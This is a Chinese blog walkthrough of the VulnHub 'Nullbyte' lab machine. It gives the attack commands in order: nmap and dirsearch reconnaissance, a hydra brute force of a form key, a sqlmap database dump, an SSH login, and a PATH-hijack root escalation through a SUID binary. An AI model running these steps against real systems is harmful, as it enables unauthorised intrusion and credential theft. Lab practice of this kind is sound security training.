• VulnHub Nullbyte


    一、信息收集

    1.nmap扫描

    arp-scan -l扫描内网存活主机

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# nmap -sS -A -p- 192.168.103.201/24
    3. -sS 半扫描
    4. -A 扫描详细信息
    5. -p- 扫描全端口

    发现开放了80、111、777、50978端口

    且发现777端口开放了ssh服务,说明他把默认22端口修改成了777端口

    2.web页面

    1.打开80端口

    翻译一下下面的提示:意思是要找到正确的渗透方式

    2.扫描80端口目录
    1. ┌──(root💀kali)-[~/桌面]
    2. └─# dirsearch -u http://192.168.103.201
    3. 目录扫描字典字典的话推荐:/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
    4. /usr/share/wordlists/dirb/big.txt

    扫描得到以下目录:

    /uploads

    /javascript

    /phpmyadmin

    显然/uploads目录和上传相关,说不定我们可以在此上传shell,访问试试,发现无法列出相应目录,不过没关系,只要我们可以上传,这依旧是个关键路径

    再看phpmyadmin,应该就是phpmyadmin的管理界面,打开一看,果不其然:

    遇到登录框,首先试试是不是弱口令,这个试过弱口令了,发现试不出来

    然后试着查看源代码看看有没有啥提示:

    发现80端口下面的源代码有个图片提示。

    我们可以采用CTF的思路,把这张“慧眼”的图片下载下来看看还有没有啥提示:

    1. ┌──(root💀kali)-[~/桌面]
    2. └─# wget http://192.168.103.201/main.gif

    先用file看看这个文件的具体信息,确实就是个gif的图像文件

    strings main.gif

    strings 命令在对象文件或二进制文件中查找可打印的字符串。字符串是 4 个或更多可打印字符的任意序列,以换行符或空字符结束。 strings 命令对识别随机对象文件很有用

    这个kzMb5nVYJw,有可能是某个密码,所以可以尝试ssh登录、phpmyadmin也可以试试,但是都失败了

    kzMb5nVYJw除了是密码,还有可能是什么呢?还有可能是web目录的一个路径,所以试试路径

    发现,还真的是路径,发现是个要输入key的页面

    查看网页源代码

    这个提示暗示我们可以尝试一些弱口令,同时我感觉还有个言外之意:这个表单没有连接到MySQL,那么总有其他连接到MySQL的地方吧?数据库应该就是MySQL了

    1. this form isn't connected to mysql, password ain't that complex
    2. :这个表单没有连接到mysql,密码没有那么复杂

    我们试着输入kzMb5nVYJw进去,发现报错了

    3.爆破

    这里使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破

    解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败)。由于hydra脚本强制要求

    添加一个-l参数表示login登录账号,我们这里随便填写一个即可(无实际意义,我写的bossfrank)

    -P指定爆破脚本,一般靶机都可选择/usr/share/wordlists/rockyou.txt这个字典

    1. ┌──(root💀kali)-[/usr/share/wordlists]
    2. └─# hydra 192.168.103.201 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

    爆破完毕:key是elite

    输入正确的key后,出现下面的这个界面

    发现输入,出现了报错,可以看到url存在注入点,说明存在sql注入

    注入点http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1

    4.sqlmap跑

    在前述注入的时候发现是GET型注入,输入的参数最后会提交到url中,这就很方便了

    1. ┌──(root💀kali)-[/usr/share/wordlists]
    2. └─# sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch

    1. +----+---------------------------------------------+--------+------------+
    2. | id | pass | user | position |
    3. +----+---------------------------------------------+--------+------------+
    4. | 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> |
    5. | 2 | --not allowed-- | isis | employee |
    6. +----+---------------------------------------------+--------+------------+

    密码,先base64解密,然后再md5解密,

    得到密码是:omega

    二、提权

    1.ssh远程连接

    1. ┌──(root💀kali)-[~]
    2. └─# ssh ramses@192.168.103.201 -p 777
    3. 密码omega

    1.sudo -l提权

    没有权限

    2.SUID 查看有哪些有root执行权限

    ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

    3.查看计划任务

    ramses@NullByte:~$ cat /etc/crontab

    4.查看历史命令

    先进入ramses用户目录下然后

    ls -la

    发现这个很奇怪,好像在前面那里见过,所以尝试在这里执行一下,发现执行不了,

    2.procwatch文件

    ramses@NullByte:~$ find / -user root -perm -4000 -print 2>/dev/null

    后来发现是这里,看见过,这里的是表示root用户可以执行的权限命令

    所以,先切换到/var/www/backup目录下

    然后./procwatch执行下这个文件

    1. ramses@NullByte:/var/www/backup$ ./procwatch
    2. PID TTY TIME CMD
    3. 1785 pts/0 00:00:00 procwatch
    4. 1786 pts/0 00:00:00 sh
    5. 1787 pts/0 00:00:00 ps

    发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是

    将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。

    首先建立一个软连接,将ps链接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:

    1. ln -s /bin/sh ps
    2. ls -la

    然后我们修改环境变量,将当前目录.追加到环境变量的最开始:

    1. export PATH=.:$PATH

    然后我们运行procwatch,由于procwatch文件具有s权限,会以属主root运行,通过前面的操作可知,运行procwatch会触发sh。因此就相当于以root启动了shell,应该就可以提权了

    3.flag

    ./procwatch
    

    然后我们进入/root目录寻找flag,是proof.txt

  • 相关阅读:
    动态生成表格
    npm报证书过期 certificate has expired问题(已解决)
    Sublime合并生成,同时编辑三页代码和文本框
    怎么把旧电脑的用户配置文件迁移到新电脑
    C++stack&queue
    scRNA-seq的fastq文件处理流程——持续更新
    企业IP地址管理(IPAM)
    Gitlab用户信息批量导出,批量block,unblock
    Talk2BEV: Language-enhanced Bird’s-eye View Maps for Autonomous Driving
    Advanced .Net Debugging 9:平台互用性
  • 原文地址:https://blog.csdn.net/SENMINGya/article/details/134340494